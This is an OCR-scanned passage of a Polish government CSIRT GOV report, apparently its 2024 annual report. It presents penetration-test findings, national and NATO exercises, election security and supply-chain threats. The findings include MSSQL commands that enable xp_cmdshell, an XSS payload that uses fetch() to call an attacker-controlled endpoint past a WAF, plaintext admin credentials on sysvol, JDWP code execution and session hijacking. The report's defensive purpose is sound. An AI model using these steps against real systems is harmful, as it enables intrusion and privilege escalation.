przygotowane do realizacji okreslonej ustugi. Srodowisko produkcyjne posiadato liczne nadmiarowe

narzedzia, ktdre ze wzgledu na jego zadanie nie powinny sig na nich znajdowac, np. narzedzie nmap.

( https
map sca ¢ t for ldap
Host is up @016s latency).
Not shown: 99 lo tcp ports (reset)
STATE SERVICE
open http
open k eros-Sec
open ldap
open ldapssl
open globalca
open globalcatlLDAPssl

Nmap done: 1 IP address (1 host up) scanned in @

Rysunek 57. Skanowanie kontrolera domeny z kontenera utrzymywanego przez ustuge Docker
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Kontener wykorzystywany do $wiadczenia ustugi ngnix powinien posiada¢ jedynie niezbedne

elementy zapewniajagce jego prawidtowe funkcjonowanie, tak aby zminimalizowa¢ mozliwoscé
wykorzystania nadmiarowych ustug, w tym przypadku do skanowania sieci wewnetrznej. Wszelkie

nadmiarowe elementy powinny by¢ usuniete juz na etapie tworzenia obrazu.
2. Wykrycie poswiadczen gtownego administratora domeny na udziale sysvol

Przy uzyciu komendy findstr®® przeszukany zostat zdalny zasdb \\domenalsysvol”. W wyniku
przeszukania wykryto poswiadczenia uzytkownika \\domena\Administrator (jawnym tekstem) w pliku

net.bat. Przeznaczenie tego pliku to zamontowanie drukarki.

[Cnet bat 77 12.05.2020 11:02 -a--

I "y [ aas A WY AT AT TR AT T —
Rysunek 58. Fragment zrzutu ekranu pliku z hastem

Dostep do udziatu sysvol mozliwy byt dla kazdego uzytkownika w ramach Active Directory.
3. Wysokie uprawnien uzytkownika MSSQL

W wyniku ataku Password Spraying uzyskano dostep do udziatu sieciowego, ktory zawierat
kod zrodtowy aplikacji webowej. W strukturze kodu znaleziono plik konfiguracyjny z danymi
uwierzytelniajgcymi uzytkownika ustugi MSSQL. Podczas rekonesansu silnika hazodanowego za pomoca
przejetych poswiadczen wykryto, ze uzytkownik ten ma nadane wysokie uprawnienia, pozwalajace
na rekonfiguracje serwera bazodanowego. Wykorzystano to w celu wykonania polecen bezposrednio
na systemie operacyjnym.

1 EXEC sp_configure 'show advanced options', '1°
2 RECONFIGURE

3 EXEC sp_configure 'xp cmdshell', '1'

4 RECONFIGURH

Messages

1:03:55 PM Started executing query at Line 1
Opcja konfiguracji ,show advanced options” ulegta zmianie z @ na 1. Uruchom ponownie instrukcje instalacyjna RECONFIGURE.
Opcja konfiguracji ,xp_cmdshell” ulegta zmianie z @ na 1. Uruchom ponownie instrukcje instalacyjna RECONFIGURE.
Total execution time: 00:60:00.121

Rysunek 59. Wynik rekonfiguracji serwera

¢ https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/findstr
¢ https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/plan/site-functions
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B Run [ Cancel § Disconnect B Change Database:

1 EXEC xp cmdshell 'whoami.exe';

Results Messages

output
1  nt service\mssql <N
2 NULL

Rysunek 60. Eskalacja uprawnien

4. Ujawnienie danych uwierzytelniajacych poprzez fuzzing i directory listing

Na porcie 8085/tcp wykryta zostata ustuga HP Web Jetadmin ver. 10.5.114213 (10.5 SR1). W wyniku

dziatania narzedzi do fuzzingu (wfuzz) wykryto niezabezpieczony dostep do katalogu z logami.

Index of /application/logs

Name Last modified Size Description
¥ Parent Directory E
scan params.log 2024-06-28 14:02 378M
(ZJreplicate/ 2024-06-28 00:19 -
) openldap/ 2024-06-27 14:42 -
[#] log-2024-06-28 php 2024-06-28 14:13 14M
[#] log-2024-06-27 php 2024-06-27 23:57 23M
@ log-2024-06-26.php 2024-06-26 23:57 21M
@ log-2024-06-25.php 2024-06-25 23:57 22M
[#] log-2024-06-24 php 2024-06-24 23:57 21M
[#] log-2024-06-23 php 2024-06-23 23:57 26K
[#] log-2024-06-22.php 2024-06-22 23:57 36K
[#] log-2024-06-21.php 2024-06-21 23:57 19M
[#] log-2024-06-20.php 2024-06-20 23:57 29M

Rysunek 61. Directory listing serwera adres.ip, port 8085/tcp, ustuga HP Web Jetadmin

Dzieki wtaczonej opcji Directory listing mozliwa byta szybka identyfikacja zasobdw w danej

$ciezce i przejscie bezposrednio do dalszej analizy i ataku na kolejne zasoby.
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Podczas szczegdtowe] analizy plikow okazato sig, ze zawieraty one dane uwierzytelniajace
uzytkownikéw (skompromitowano 166 kont) domeny Microsoft Active Directory oraz numery PIN
przeznaczone do autoryzacji wydrukow systemu zarzadzajacego drukiem. Przechwycone dane pozwolity

skompromitowac wiele kont w domenie, w tym jedno z nich okazato sig by¢ cztonkiem DomainAdmins.

5. RCE - Java DebugWireProtocol (JOWP)

Java DebugWireProtocol (JDWP) to protokdt uzywany do komunikacji miedzy debuggerem
amaszynag wirtualng Java. Nie uzywa zadnego uwierzytelnienia i moze zosta¢ wykorzystany do wykonania

zdalnego polecenia (Remote Code Execution, RCE).

name

jdwp
jdwp
jdwp
Jjdwp

Rysunek 62. Wykryto cztery serwery z JDWP

whoami

wildfly

Rysunek 63. Wynik polecenia whoami na zdalnym serwerze

6. Cross Site Scripting (XSS)

Poprzez  wystanie zadania typu POST pod adres htips:/fredacted]/4ses/serviet/
MainServiet?wbts:page=core.search.results.list istniata mozliwos¢ wstrzyknigcia kodu JavaScript
w parametr search_text. Brak walidacji po stronie serwera powodowat, iz wstrzykniety kod zwracany
w odpowiedzi http byt wykonywany przez przegladarke uzytkownika-ofiary ataku (XSS Reflected).

Nalezy zwrdci¢ uwage, ze aplikacja byta chroniona przez rozwigzanie WAF, ktdre blokuje proby
wstrzyknigcia popularnych metod JavaScript wykorzystywanych do wykrywania podatnosci XSS, np.
metode alert(). Korzystanie z dobrze skonfigurowanej ochrony WAF jest jak najbardziej zalecane, ale nalezy

mie¢ Swiadomosc, ze WAF moze nie wykry¢ wszystkich mozliwych wektorow ataku - dlatego istotne jest,
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aby opracz takiej ochrony zadbac rowniez o wtasciwe zabezpieczenie przez atakami XSS na poziomie

tworzenia aplikacji. Przyktadowo, w ponizszym przyktadzie uzyto metody JavaScript fetch(), ktdra stuzy

do wysytania zapytan HTTP, co umozliwito skuteczne wykonanie XSS pomimo ochrony WAF.

Ponizej znajduja sie zrzuty z przeprowadzonego ataku. Na pierwszym widac¢ sposob wstrzyknigcia

ztosliwego kodu, na drugim uwidoczniony jest moment nadejScia zadania na kontrolowany przez

atakujgcego endpoint HTTP, co udowodnito, iz wstrzykniety kod zostat wykonany przez przegladarke

ofiary.

Bup Project Intruder Repeater View Help
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Rysunek 64. Payload XSS

Response
= | Pretty Raw  Hex

103

Extensions. Lean

A lammn i, s e e

<hr class="ui hidden divider">

</div>

<script type="text/javascript'>
$(r.ui form*).mark(*quert);
fetch(*https://entzuhs3tyilc.x.pipedream.net/");
777, {velement: 'span","className’: "highlight"}) |
</script>

</div>

</forms
<script language="javascript" type="text/javascript's>

//hidePage () ;

var ajaxDataloaded=false;

var saveFilterswithSearch =true;
var rememberFiltersEnabled=true;

var rememberFiltersWithinModuleEnabled = false
far moduleInavailablemModuleslist = false;

var moduleName='core';

var newForm = false;

var showRememberFilterscheckbox=true
var idUser=100000007575;

var isFiltering = false;
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Rysunek 65. Wykonanie ztosliwego kodu

Na kolejnych zrzutach z ekranu widac jak blokowana jest proba wstrzykniecia metody JavaScript

alert() przez rozwigzanie WAF.

Bup Project Intruder Repeater View Help
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Rysunek 66. Blokowanie alertu przez WAF
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1. Umieszczenie wrazliwych danych w logach aplikaciji

Na szeregu serwerdw dostepnych w sieci wewnetrznej, na porcie 5050 opublikowane byty logi
aplikacji. W logach umieszczone byty dane dot. zalogowania uzytkownika, w tym zapytania wykonane
przez uzytkownika oraz parametry zwigzane z sesjg zalogowanego uzytkownika. Przyktad przedstawiony

zostat ponizej:

Rysunek 67. Fragment z logéw serwera, port 5050/tcp

Wystanie specjalnie spreparowanego zapytania do aplikacji z wykorzystaniem przejetych

parametrow sesji zalogowanego uzytkownika spowodowato przejecie sesji tego uzytkownika.
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Rysunek 68. Konto uzytkownika

Nalezy podkreslic, iz wykorzystanie ciasteczek sesyjnych odnalezionych na serwerach logéw
pozwolito oming¢ wszelkie zabezpieczenia, w tym réwniez brak znajomosci loginu i hasta, a takze

uwierzytelnienie dwuetapowe (2FA).
8. Wtaczony tryb DEBUG w produkcyjnej aplikacii

W produkcyjnej aplikacji napisanej w jezyku Python z wykorzystaniem frameworka Django
ujawniono, ze tworcy aplikacji zostawili wtgczony tryb DEBUG, co powodowato wyswietlanie w przegladarce

uzytkownika szczegotow konfiguracji wraz z wrazliwymi informacjami podczas wywotania btedu aplikacji.

Page not found o4
Wyswietlanie zawartosci katalogu jest tu niedozwolone.

Request Method: GET
Request URL: i medial
Raised by: django.views static serve

Using the URLconf defined in of fice cms. urls, Django tried these URL patterns, in this order

. admin/
. accounts/

. invoiceregister/
pzp/

. community/

© [name="home view']

. “nedia/(7P<path>.*)$

The current path, media/, matched the last one.

NowawN e

You're seeing this error because you have DEBUG = True in your Django settings file. Change that to False, and Django will display a standard 404 page.

Rysunek 69. wigczony tryb DEBUG
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Cwiczenia Zespotu CSIRT GOV w 2024 roku

W 2024 roku Zespot CSIRT GOV brat udziat w cwiczeniach ogdlnokrajowych, jak rowniez
zagranicznych, ktore miaty na celu podniesienie kwalifikacji w obszarze cyberbezpieczenstwa, a takze

doskonalenie koordynacji wspétpracy z innymi zespotami CSIRT poziomu krajowego oraz zagranicznymi.

Udziat Zespotu CSIRT GOV w Cwiczeniach ENISA: Cyber Europe 2024

Zespot CSIRT GOV brat udziat w ¢wiczeniach Cyber Europe 2024 organizowanych przez Europejska
Agencje Unii Europejskiej ds. Cyberbezpieczenstwa (ENISA). Juz po raz siddmy zorganizowata ona tego
rodzaju ¢wiczenia, ktore miaty na celu sprawdzenie oraz przecwiczenie przez reprezentantéw panstw Unii
Europejskiej procedur zarzadzania zdarzeniami w obliczu migdzynarodowego kryzysu bezpieczenstwa
w cyberprzestrzeni. ENISA organizuje ¢wiczenia Cyber Europe od 2010 roku, a kazda z edycji poswiecona
jest innej branzy. Cwiczenia w 2024 roku po$wiecone zostaty sektorowi energii ze wzgledu na jego
kluczowe znaczenie dla nowoczesnych gospodarek. Przedmiotowe Cwiczenia symulowaty cyberataki
wymierzone w systemy teleinformatyczne podmiotow z branzy energetycznej, na ktdre uczestnicy
Cyber Europe musieli odpowiednio reagowac, by wskazane zagrozenia nie wptynety na ciagtos¢ dziatan
infrastruktury. W ¢wiczeniach - poza Zespotem CSIRT GOV - udziat wzigty m.in. inne zespoty CSIRT
poziomu krajowego, jak rowniez podmioty odpowiedzialne za zarzadzanie kryzysowe. W zwigzku z tym,
ze tegoroczna edycja byta poswiecona tematyce sektora energetycznego, do udziatu zaproszono rowniez

podmioty reprezentujace przedmiotowy sektor w Polsce.

CERTIFICATE

of participation

In celebration of your dedicated involvementin
Cyber Europe on June 19-20% 2024

Delivered by ENISA
The European Union Agency for Cybersecurity

ey

CYBER @ Demosthenes Oikonomou

¥
& enisa o | gURoPE &
R 2024

Head of Capacity Building at ENISA

Rysunek 70. Certyfikat uczestnictwa w cwiczeniach Cyber Europe 2024
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Udziat Zespotu CSIRT GOV w ¢wiczeniach organizowanych przez NATO -
Locked Shields 2024

Zespot CSIRT GOV brat udziat w ¢wiczeniach pod kryptonimem Locked Shields 2024 organizowanych
przez Centrum Doskonato$ci Wspotpracy w zakresie Cyberobrony NATO (NATO Cooperative Cyber Defence
Centre of Excellence - CCDCOE), ktdre odbyty sie w dniach 22-26 kwietnia 2024 r. To jedno z najwigkszych
migdzynarodowych c¢wiczen technicznych z zakresu cyberobrony na $wiecie, ktore ma na celu
doskonalenie umiejgtnosci uczestnikow w zakresie reagowania i odpierania cyberatakow prowadzonych
w czasie rzeczywistym na fikcyjne krajowe systemy informatyczne. W 14 edycji ¢wiczenia udziat wzigto
ponad 40 krajow i 4 000 ekspertow cyberbezpieczenstwa, w tym zespdt ztozony z przedstawicieli
Polski i Finlandii. Cze$¢ polska sktadata sig m.in. z przedstawicieli zespotéw CSIRT poziomu krajowego,
ekspertow reprezentujgcych instytucje finansowe, energetyczne oraz sektor prywatny, a takze
pracownikéw akademickich z uczelni wyzszych. Cwiczenia Locked Shields przyjmuja forme zawoddw,
w ktdrych rywalizujg ze sobg dwa zespoty - jeden z nich, okreslany jako Zespot Szybkiego Reagowania
(Blue Team), ma za zadanie obrone wtasnej infrastruktury, ktdra jest atakowana przez drugi zespot - Red
Team. W kazdej z edycji odnotowuje sie udziat kilkudziesieciu zespotow Blue Team z ponad 30 krajow.
W roku 2024 Zespét przedstawicieli Polski i Finlandii przyjat zadania Blue Team, ktory miat za zadanie
obrong fikcyjnego panstwa - wirtualnej krainy ,Berylia”, w tym ochrong nalezacych do niej systemow
informatycznych i infrastruktury krytycznej przed eskalowanymi atakami. W trakcie dwudniowych
¢wiczen uczestnicy Locked Shields zrealizowali realistyczne scenariusze obrony przed cyberatakami
oraz wykorzystali najnowoczesniejsze technologie. Poza odparciem atakdw i zabezpieczaniem ztozonych
systemow informatycznych, uczestnicy musieli sie wykazac¢ sie odpowiednig wiedzg o zagadnieniach
kryminalistycznych, prawnych oraz medialnych. Polska i Finlandia po raz pierwszy wspotpracowata jako

jeden zespot, finalnie zajmujac Il miejsce w ogdlnej klasyfikacji.
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Udziat Zespotu CSIRT GOV w miedzynarodowych ¢wiczeniach w zakresie
cyberobrony Allied Power Exercise APEX 2024

Zespot CSIRT GOV brat udziat w miedzynarodowych ¢wiczeniach w zakresie cyberobrony
Allied Power Exercise APEX 2024, ktore odbyty sie¢ w dniach 10-12 wrzesnia 2024 roku w Korei
Potudniowej. Przedmiotowe ¢wiczenia stanowity symulacje cyberwojny opartej na fikcyjnym konflikcie
migdzypanstwowym w regionie Indo-Pacyfiku. W APEX 2024 udziat wzigto 21 panstw z regionu Indo-
Pacyfiku oraz NATO. Dwunastoosobowy Zespot Blue Team ztozony z przedstawicieli Zespotu CSIRT GOV,
Irlandii oraz Singapuru, w zmaganiach uzyskat liczbe punktow pozwalajgcg na zajecie drugiego miejsca

w klasyfikacji generalnej.

Udziat Zespotu CSIRT GOV w ¢wiczeniach krajowych w ramach KSC-EXE
2024

Zespot CSIRT GOV brat udziat w ¢wiczeniach organizowanych w ramach krajowego systemu
cyberbezpieczenstwa przez Departament Cyberbezpieczenstwa Ministerstwa Cyfryzacji - KSC-EXE
2024. Ich gtownym celem byta weryfikacja umiejetnosci wykorzystywania obowigzujacych procedur
oraz sprawdzenie zdolnosci podmiotow krajowego systemu cyberbezpieczenstwa w sytuacji kryzysowe;j,
jaka jest cyberatak wymierzony w podmioty CRP. Organizatorzy przygotowali scenariusz odwzorowujacy
wystapienie incydentu ataku na tancuchy dostaw, ktéry wptywat na dziatanie réznych sektorow, m.in.
transportu. W ¢wiczeniach udziat wzieto prawie 60 przedstawicieli podmiotéw krajowego systemu
cyberbezpieczenstwa, w tym organy wtasciwe do spraw cyberbezpieczenstwa, zespoty reagowania
naincydenty bezpieczenstwa komputerowego poziomu krajowego oraz przedstawiciele m.in. Ministerstwa
Spraw Zagranicznych, Prokuratury Krajowej, Rzadowego Centrum Bezpieczenstwa, Urzedu Komunikacji

Elektronicznej i Centralnego Biura Zwalczania Cyberprzestepczosci.
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Dziatania na rzecz bezpieczenstwa procesu wyborczego

Analogicznie do roku 2023, w roku ubiegtym Zespét CSIRT GOV podijat dziatania majace na celu
wsparcie cyberbezpieczenstwa systemdw teleinformatycznych zwigzanych z organizacja wyborow
samorzadowych, jak rowniez wybordéw do Parlamentu Europejskiego. Zadania te dotyczyty aspektow oceny
bezpieczenstwa teleinformatycznego, szkolen, jak rowniez prowadzenia rozpoznania cyberzagrozen oraz
obstugi incydentdw pod katem procesu wyborczego.

Zespot CSIRT GOV prowadzit ocene bezpieczenstwa systemdw i sieci teleinformatycznych
dotyczacych wsparcia systemu wyborczego, podczas ktdrej na biezaco informowano przedstawicieli
organdw wyborczych o wykrytych podatnosciach w infrastrukturze sieciowej - ze szczegdlnym
uwzglednieniem tych, ktére wymagaty podjecia niezwtocznych dziatan przez administratordw.
W ramach oceny bezpieczenstwa CSIRT GOV przeprowadzit rowniez testy socjotechniczne, majace
na celu weryfikacje $wiadomosci oraz odpornosci uzytkownikéw systemow. W zakresie wzmacniania
$wiadomosci uzytkownikéw przeprowadzono szereg szkolen majacych na celu podwyzszenie
poziomu wiedzy personelu zaangazowanego w organizacje przebiegu wybordow w zakresie zagrozen
w cyberprzestrzeni. Szkoleniami objeto zaréwno szczebel kierowniczy, jak i kadre pracownikdw, w tym
rowniez administratorow systemow i sieci IT. Jednoczesnie Zespot CSIRT GOV wspierat organy panstwa
w zakresie mozliwosci wdrozenia mechanizmow czy procedur majgcych na celu podniesienie poziomu
bezpieczenstwa infrastruktury oraz uzytkownikéw systemow teleinformatycznych. Ponadto w trakcie
trwania wyborow samorzadowych oraz wyborow do parlamentu europejskiego Zespot CSIRT GOV
prowadzit wzmozone monitorowanie zagrozen cybernetycznych. Podobnie jak w przypadku wyboréw
parlamentarnych w 2023 r., szczegdlng uwage zwracano na zagrozenia zwigzane z dezinformacjg
wyborcza, rejestrowaniem domen oraz stron wykorzystywanych do podszywania sie pod autentyczne

instytucje oraz podmioty.
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Zapewnienie bezpieczenstwa krajowej infrastruktury krytycznej jest w dzisiejszych czasach

jednym z najwazniejszych wyzwan stojacych przed Polska, w szczegdlnosci w kontekscie trwajace;
wojny w Ukrainie. Obserwowane tam cyberataki pokazuja, ze nie tylko dziatania kinetyczne, ale takze
aktywnos¢ w cyberprzestrzeni jest w stanie w znaczacym stopniu wptynac na ciggtos¢ $wiadczenia
najbardziej istotnych ustug dla obywateli, a ich przerwanie - w czasach, gdy zycie oparte jest
na dostepie do energii - moze nies¢ za sobg katastrofalne skutki. Jednoczesnie tez trzeba pamietac,
ze na zapewnienie bezpieczenstwa samej infrastruktury krytycznej ma wptyw wiele czynnikow, w tym
catoSciowe bezpieczenstwo teleinformatyczne operatora danej IK, bezpieczenstwo fizyczne obiektdw,
ryzyko zwigzane z nieuprawnionym dostgpem oséb o motywacjach sabotazowych - czynnik ludzki,
a takze zaleznosci pomigdzy poszczegdlnymi systemami, ustugami, a przede wszystkim, w kontekscie
tego rozdziatu - operatorem a firmami $wiadczacymi ustugi na jego rzecz.

Pojecie tancucha dostaw (ang. supply chain) - w kontekscie cyberbezpieczenstwa - odnosi sig
do sieci dostawcow i ustugodawcow, ktdrzy uczestnicza w dostarczaniu produktéw i ustug. Ztozonoscé
wspotczesnych tancuchdéw dostaw, czesto obejmujgca wielu kontrahentéw-ogniw, znaczaco rozszerza
potencjalny obszar ataku na kluczowe sektory polskiej infrastruktury. Wedtug definicji analitykow
firmy CrowdStrike, atak na tancuch dostaw to rodzaj cyberataku, ktéry wymierzony jest na zaufanego
zewnetrznego dostawce ustugi lub oprogramowania niezbednego dla tancucha dostaw®.

Zamiast bezposredniego ataku na cel, cyberprzestepcy koncentrujg sie na stabszych ogniwach
tancucha dostaw, takich jak dostawcy oprogramowania, sprzetu lub ustug, ktorzy nierzadko moga miec
uprzywilejowany dostep do systemow organizacji docelowej. Atakujgcy moga umieszczac ztosliwy kod
w aktualizacjach oprogramowania, modyfikowac komponenty sprzetowe, korzystac z pozyskanych danych
logowania do kont serwisowych lub wykorzystywac skradzione certyfikaty do podszywania sig pod zaufane
zrédta. Celem dziatania moze byc uzyskanie dostepu do wrazliwych danych, infrastruktury sieciowej lub
rozprzestrzenienie ztosliwego oprogramowania na wiele organizacji jednoczes$nie. Ataki te sg szczegdlnie
niebezpieczne ze wzgledu na trudnos¢ w ich wykryciu, potencjalnie szeroki zakres oddziatywania oraz
wykorzystywanie istniejgcych relacji zaufania miedzy organizacjami, a ich dostawcami. Ataki na tancuch
dostaw sg szczegolnie niebezpieczne ze wzgledu na ich potencjat do wywotywania efektu kaskadowego.
Ocena sytuacyjna Parlamentu Europejskiego i Rady Unii Europejskiej przedstawiona w dyrektywie NIS2
informuije, iz ,mate i Srednie przedsiebiorstwa coraz czesciej stajg sie celem atakow w tancuchu dostaw
ze wzgledu na ich niewystarczajacy poziom zarzadzania ryzykiem w cyberbezpieczenstwie i zarzadzania

w razie atakow [...]. Takie ataki w tancuchu dostaw wptywaja nie tylko na mate i Srednie przedsigbiorstwa

$8https://www.crowdstrike.com/en-us/cybersecurity-101/cyberattacks/supply-chain-attack/
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i dziatalno$¢ kazdego z nich z osobna, lecz takze mogg miec efekt kaskadowy w postaci wigkszych

atakdéw na zaopatrywane przez nie podmioty”®. Pojedynczy udany atak moze prowadzi¢ do kompromitacji
wielu organizacji jednoczesnie, co czyni je niezwykle atrakcyjnymi dla cyberprzestepcdw oraz organizacji
state-sponsored, a w tym APT (ang. Advanced Persistent Threat).

Dyrektywa NIS2 w szczegdlnosci zwraca uwage na potrzebe mitygacji ryzyka wynikajgcego
z tancucha dostaw i powigzan z dostawcami ze wzgledu na liczbe incydentow dotyczacych przetamania
zabezpieczen sieci i systemdw teleinformatycznych, wykorzystujac podatnosci infrastruktury
kontrahentdw. Rok 2024 pokazat, iz jest to trend obserwowany takze w Polsce, gdzie tego rodzaju ataki
dotknety znaczacych na rynku firm, a co za tym idzie - istotnej liczby ich ustugobiorcow.

Jednym z kluczowych wyzwan w ochronie przed atakami na tancuch dostaw jest zapewnienie
bezpieczenstwa teleinformatycznego wtasnej instytucji w catym ekosystemie dostawcow i partnerow
biznesowych. Organizacje muszg teraz nie tylko dbac¢ o swoje bezpieczenstwo, ale rowniez upewnic
sig, ze ich dostawcy i partnerzy spetniajg wysokie standardy cyberbezpieczenstwa, ograniczajac tym
samym ryzyko zagrozenia dla organizacji docelowej. Powyzsze wymaga kompleksowego podejscia
do zarzadzania ryzykiem w tancuchu dostaw.

W drugiej potowie 2024 roku w polskiej przestrzeni medialnej pojawity sig informacje o dziatalnosci
grupy cyberprzestepczej Hunters International, dziatajacej w modelu Ransomware-as-a-Service. Swoje
ataki z wykorzystaniem oprogramowania Ransomware realizuje ona w metodzie double extortion, czyli
zada okupu zaréwno za odszyfrowanie, jak i pobranie eksfiltrowanych danych. 9 pazdziernika 2024
na stronie grupy pojawity sie dane pochodzace rzekomo z ataku na polskiego dostawce rozwigzan
z zakresu automatyki, robotyki i Internetu Rzeczy (loT), tacznie 5,9 TB informacji o dziatalnosci firmy,
danych projektowych, danych osobowych osob realizujacych projekty i wspotpracujacych z firma, umow
z klientami oraz danych logowania. Atak zostat potwierdzony, a firma opublikowata na swojej stronie
internetowej komunikat o zaistniatym incydencie, ktdrego poczatek zostat wskazany na 5 wrzesnia 2024.

Niedtugo pdzniej ten sam aktor opublikowat na swojej stronie kolejny zbiér danych, tym
razem dotyczacy polskiej firmy swiadczacej ustugi z zakresu IT oraz ICT. W przypadku drugiego ataku
upublicznione dane obejmowaty umowy zawarte z firmami i jednostkami administracji publicznej,
informacje o zrealizowanych projektach, dane osobowe pracownikow i klientow oraz dane dostgpowe

i inne poswiadczenia do sieci i systemow klientow - tacznie 1,2 TB danych.

¢ Dyrektywa Parlamentu Europejskiego i Rady (UE) 2022/2555 z dnia 14 grudnia 2022 r. w sprawie $rodkéw na rzecz wysokiego wspdlnego
poziomu cyberbezpieczenstwa na terytorium Unii, zmieniajaca rozporzadzenie (UE) nr 910/2014 i dyrektywe (UE) 2018/1972 oraz uchylajaca
dyrektywe (UE) 2016/1148
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W reakcji na ataki zwigzane z infekcjg oprogramowaniem szyfrujgcym i ich skutkiem w postaci

wycieku danych, Petnomocnik Rzadu do spraw Cyberbezpieczenstwa wydat 18 pazdziernika 2024 roku
komunikat wraz z zaleceniami™.

Powyzsze incydenty ukazaty istotne luki w zabezpieczeniach, nawet ws$rdd liderow branzy
technologicznej, oraz skale zagrozen wynikajacych z dziatan cyberprzestepcow. Dane w postaci informacii
projektowych zwigzanych z automatyzacja i robotyka stanowig cenne informacje dla potencjalnych
adwersarzy, w szczegolnosci aktorow typu state-sponsored. Dodatkowo dane dostepowe, aw tym prywatne
klucze uwierzytelniania do sieci i $rodowisk klienckich dostepne w wyciekach sg tatwym atrybutem
do wykorzystania w ewentualnym ataku. Drugorzedng kwestia w tym przypadku sa sprawcy ataku,
a najistotniejsze - oprdcz identyfikacji wektora wejscia - jest to, w jaki sposdb dane, ktore mogty zostac
pobrane przez dowolng osobe lub grupe, moga zostac wykorzystane przeciwko klientom zaatakowanych
przedsigbiorstw. Gdy informacja zostata opublikowana (a nawet - gdy zostata eksfiltrowana), nie ma
juz odwrotu, a wszelkie dziatania zaradcze moga jedynie sprowadzac si¢ do ograniczania, nie zas
eliminowania skutkow. Powyzsze stanowi szczegdlnie istotne zagrozenie w przypadku infrastruktury
krytycznej Rzeczypospolite;.

Innym rodzajem zagrozenia generowanego przez ustugodawcow jest brak odpowiedniej kontroli
podmiotu nad dostepem ustugodawcdéw do wtasnej infrastruktury. Jeden z incydentow analizowanych
w 2024 roku przez CSIRT GOV dotyczyt zainstalowania przez serwisanta modemu USB z karta SIM,
ktory umozliwiat zdalny dostep do $rodowiska OT (ang. Operational Technology) podmiotu z sektora
energetyki. Miato to utatwic realizacje prac serwisowych przez firme zewnetrzng, jednak przez brak
wtasciwego zabezpieczenia stwarzato ryzyko nieuprawnionego dostepu do sterownika. Dodatkowe,
niezinwentaryzowane punkty dostepu stanowigce styk z siecig Internet zaréwno w s$rodowiskach
korporacyjnych, jak i OT stanowig znaczace ryzyko dla organizacji. Urzadzenie takie poprzez brak
odpowiedniegozabezpieczeniazestronyorganizacjimoze utatwic atakujgcemuuzyskanie nieuprawnionego
dostepu do sieci i systemow organizacji, a w konsekwencji doprowadzi¢ do kompromitacji wskazanego
srodowiska i dalszej eskalacji.

Jak mozna wywnioskowac na podstawie powyzszych przyktadow, w obliczu rosnacego zagrozenia
atakami na tancuch dostaw, instytucje oraz podmioty kluczowe z punktu widzenia bezpieczenstwa
panstwa (w tym operatorzy infrastruktury krytycznej) powinny przyja¢é kompleksowe podejscie

do cyberbezpieczenstwa, wychodzace poza cyfrowe ramy organizacji. Istotne jest zaimplementowanie

0 https://www.gov.pl/web/baza-wiedzy/wzrost-liczby-incydentow-zwiazanych-z-wyciekiem-danych--zalecenia-pelnomocnik-rzadu-do-
spraw-cyberbezpieczenstwa

115




wielowarstwowej strategii dziatan, ktdre obejmowatyby nie tylko wtasng infrastrukture ITi OT, ale réwniez

partnerow i podwykonawcow.

Jednym z fundamentalnych elementow takowych dziatan jest zaimplementowanie strategii
bazujacej na pojeciu zerowego zaufania dla innych (ang. Zero Trust Policy). Podejscie to zaktada,
iz zadnemu uzytkownikowi, urzadzeniu czy aplikacji nie mozna ufa¢ domyslnie, nawet jesli znajdujg sie
wewnatrz sieci korporacyjnej. Kazda préba dostepu musi by¢ weryfikowana, a uprawnienia ograniczone
do minimum niezbednego do wykonania zadania. Stanowi to jedng z podstawowych zasad w kontekscie
tancucha dostaw i partnerdw, wraz z kluczowa regularng weryfikacjg ich uprawnien. Dodatkowo,
dyrektywa CER podkresla, ze podmioty krytyczne powinny posiadac srodki niezbedne w celu ,odtworzenia
po incydentach, z nalezytym uwzglednieniem Srodkdw na rzecz ciggtosci dziatania oraz identyfikacji
alternatywnych tancuchdow dostaw w celu przywrdcenia $wiadczenia ustugi kluczowe]".

Celem wtasciwego zabezpieczenia organizacji przed wystagpieniem incydentow zwigzanych
z atakiem na tancuch dostaw (w zaleznosci od rodzaju kooperacji miedzy podmiotami), wtasciwymi

sposobami zabezpieczenia moze by¢:

e (Ocena ryzyka - proces majacy na celu identyfikacje, ocene i zarzadzanie ryzykiem

w funkcjonujgcym tancuchu dostaw, jak i jego nowych/potencjalnych powigzaniach;

e Regularne audyty i kontrole - zadania potwierdzajace badz zaprzeczajgce mozliwosci

bezpiecznej realizacji czynnosci umownych ze strony dostawcy;

e Kontrola niezbednych uprawnien - czynnos¢ polegajgca na regularnej weryfikacji

przyznawanych uprawnien do zasobow, jedynie na zasadzie tzw. Least Privilege;

e Planowanie ciggtosci biznesowej - opracowanie plandw ciagtosci dziatania i mitygacji skutkow

incydentu w przypadku jego wystgpienia;

e Szyfrowanie danych - szyfrowanie danych w transmisji oraz przechowywaniu celem

ich wtasciwego zabezpieczenia;

e State monitorowanie - stosowanie systemow monitorowania i raportowania zagrozen

oraz incydentow celem szybkiego podjecia stosownych dziatan;

e Wybdr dostawcow spetniajgcych standardy np. opracowywane przez Miedzynarodowa

Organizacje Normalizacyjna (ISO).

"' Dyrektywa Parlamentu Europejskiego i Rady (UE) 2022/2557 z dnia 14 grudnia 2022 r. w sprawie odpornosci podmiotow krytycznych
i uchylajaca dyrektywe Rady 2008/114/WE
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Podsumowujac, ataki na taicuch dostaw stanowig powazne zagrozenie dla cyberbezpieczenstwa

w Polsce, w tym dla administracji panstwowej, a przede wszystkim operatorow infrastruktury
krytycznej. Skuteczna obrona wymaga kompleksowego podejscia, obejmujacego nie tylko wdrozenie
zaawansowanych technologiii rozwigzan organizacyjnych, ale rowniez budowanie kultury bezpieczenstwa,
wspotprace migdzysektorowa i ciggte podnoszenie kompetencji. W obliczu narastajgcego zagrozenia
atakami na tancuch dostaw, kluczowa role odgrywa Scista wspotpraca miedzy organizacjami, sektorami
czy z organami bezpieczenstwa panstwa. W zwigzku z czym zwracamy sie¢ do Panstwa z prosha
o niezwtoczne i kazdorazowe informowanie Zespotu CSIRT GOV o wszelkich incydentach lub potencjalnych
zagrozeniach, ktore moga dotyczy¢ Panstwa instytucji badz innej organizacji w Polsce bedacej czescig
administracji panstwowe] tudziez operatorem infrastruktury krytycznej. Biezaca wymiana informacji
umozliwia Zespotowi CSIRT GOV skuteczne ostrzeganie i wspieranie instytucji znajdujacych sie w nasze;
wtasciwosci, jeszcze przed wystagpieniem incydentu. Takowe proaktywne podejscie moze znaczaco

przyczynic sie do minimalizacji potencjalnych skutkow cyberatakow.
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